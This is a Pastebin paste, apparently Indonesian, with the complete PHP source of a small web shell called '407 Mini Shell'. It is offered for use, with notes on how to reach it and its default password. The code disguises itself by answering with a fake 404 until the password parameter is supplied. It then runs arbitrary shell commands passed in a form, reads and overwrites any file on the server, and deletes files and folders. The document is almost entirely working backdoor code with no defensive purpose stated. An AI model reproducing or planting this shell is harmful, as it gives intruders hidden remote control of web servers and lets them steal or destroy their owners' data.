Advertisement
VanGans

407 Shell (beta)

Feb 12th, 2019
231
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 4.02 KB | None | 0 0
  1. Note : Rilis Ea Tod Kntd 407 Shell
  2. Fitur:
  3. - Mobile Size
  4. - Siluman/Fake 404
  5. - Basic Feature
  6. - Mini 2.9 kb
  7. * version: 0.5
  8. * Solo Code
  9. code:https://gist.github.com/herp1337/ef9793201ab9c284db2be5def151089e
  10. Cara Mengakses:
  11. /407.php [404 File Not Found]
  12. /407.php?login=passwordLo
  13. Default:
  14. /407.php?login=herp1337
  15. * Beta Version Blom Bisa Buat Folder Dan File
  16. * Alternative Pake Shell Command
  17.  
  18.  
  19. <?
  20. ///////
  21. $pass="herp1337"; // Ganti Password
  22. ///////
  23. http_response_code(404);
  24. if(isset($_GET["login"])){
  25.     global $pass;
  26.     if($_GET["login"]==$pass) http_response_code(200);
  27.     else{
  28.         die();
  29.         http_response_code(404);
  30.     }
  31. }
  32. else die()
  33. ///////////////////////////
  34. ?>
  35. <!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.0//EN" "http://www.wapforum.org/DTD/xhtml-mobile10.dtd">
  36. <title>407 Mini Shell - HeroBrinePE</title>
  37. <body bgcolor="#988100"></body>
  38. <style>
  39.     #border {
  40.         border: 1px dotted blue;
  41.         background: black;
  42.         color: white;
  43.     }
  44.     #border2 {
  45.         border: 1px dotted blue;
  46.         background: black;
  47.         width: 140px;
  48.         color: white;
  49.     }
  50.     #file {
  51.         color: #98FF00;
  52.         width: 50px;
  53.         height: 20px;
  54.     }
  55.     a {
  56.         color: white;
  57.         border: 1px dotted #E700FF;
  58.         text-decoration: none;
  59.     }
  60.     #asu {
  61.         border: 1px solid green;
  62.     }
  63.     #asu2 {
  64.         border: 1px solid green;
  65.         background-color: black;
  66.        
  67.     }
  68.     #dir {
  69.         color: yellow;
  70.         width: 50px
  71.         heigth: 20px;
  72.     }
  73.     #can {
  74.         color: cyan;
  75.         background: black;
  76.     }
  77. </style>
  78. <?
  79. if(isset($_GET["method"])){
  80.     $method=$_GET["method"];
  81.     if($method=="cmd"){
  82.         echo '
  83.         <center><h1 id="file">'.$_SERVER["REMOTE_ADDR"].'</h1><center>
  84.         <br>
  85.             <form method="POST" action="">
  86.                 <center>
  87.                 <input id="asu" placeholder="Enter Command Here" name="command" style="width: 200px;height: 20px;"></input>
  88.                 </center>
  89.         ';
  90.         die();
  91.     }
  92. }
  93. ?>
  94.  
  95.     <div id="asu2">
  96.         <font color="LightBlue"><? echo php_uname() ?><br>+----------+</font>
  97.         <br><a href="?login=<? echo $pass; ?>&method=cmd">Shell Command</a>
  98.     </div>
  99. <?
  100. if($_SERVER["REQUEST_METHOD"]=="POST"){
  101.     if(isset($_POST["command"])){
  102.         $isi=$_POST["command"];
  103.         echo "result:<br>";
  104.         echo str_replace("\n","<br>",system($isi));
  105.     }
  106.     if(isset($_POST["content"])){
  107.         $isi=$_POST["content"];
  108.         $location=$_POST["location"];
  109.         file_put_contents($location,$isi);
  110.         echo "<script>window.history.back()</script>";
  111.     }
  112. }
  113. if(isset($_GET["open"])){
  114.     $files=$_GET["open"];
  115.     $content=file_get_contents($files);
  116.     echo '<form method="POST" action="">';
  117.     echo "
  118.     <center><textarea rows=20 cols=45 id='asu' name='content'>$content</textarea>
  119.     <br>
  120.     <input type='hidden' value='$files' name='location'></input>
  121.     <input type='submit' id='border2' value='Simpan Berkas Ini'></input>
  122.     </form>
  123.     <hr>";
  124.     die();
  125. }
  126. ?>
  127. <div id="border">
  128. <?
  129. //
  130. if(isset($_GET["dir"])){
  131.     $path=$_GET["dir"];
  132. }
  133. else{
  134.     $path=getcwd();
  135. }
  136. $list=scandir($path);
  137. foreach($list as $item){
  138.     global $pass;
  139.     if($item==".." || $item=="."){
  140.         echo "
  141.         <div id=\"dir\">$item</div><br>
  142.         <a href='?login=$pass&dir=$path/$item'>Open Folder</a>
  143.         <br><hr>";
  144.         continue;
  145.     }
  146.     if(is_file($path."/".$item)){
  147.         echo "
  148.         <div id=\"file\">$item</div>
  149.         <a href='?login=$pass&open=$path/$item'>Edit File</a>
  150.         <a href='?login=$pass&unlink=$path/$item'>Hapus File</a>
  151.         <br><hr>";
  152.     }
  153.     else{
  154.         echo "
  155.         <div id=\"dir\">$item</div><br>
  156.         <a href='?login=$pass&dir=$path/$item'>Open Folder</a>
  157.         <a href='?login=$pass&dir=$path&rmdir=$path/$item'>Delete</a>
  158.         <br><hr>";
  159.     }
  160. }
  161. ?>
  162. </div>
  163. <?
  164. function hapus($folder){
  165.     system("rm -rf ".escapeshellarg($folder),$value);
  166.     return $value;
  167. }
  168. if(isset($_GET["rmdir"])){
  169.     $test=hapus($_GET["rmdir"]);
  170.     if($test==0) echo "<script>alert('Berhasil Menghapus Folder');window.history.back()</script>";
  171.     else echo "<script>alert('Gagal Menghapus Folder');window.history.back()</script>";
  172. }
  173. if(isset($_GET["unlink"])){
  174.     $test=unlink($_GET["unlink"]);
  175.     if($test==true) echo "<script>alert('Berhasil Menghapus Berkas');window.history.back()</script>";
  176.     else echo "<script>alert('Gagal Menghapus Berkas');window.history.back()</script>";
  177. }
  178. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement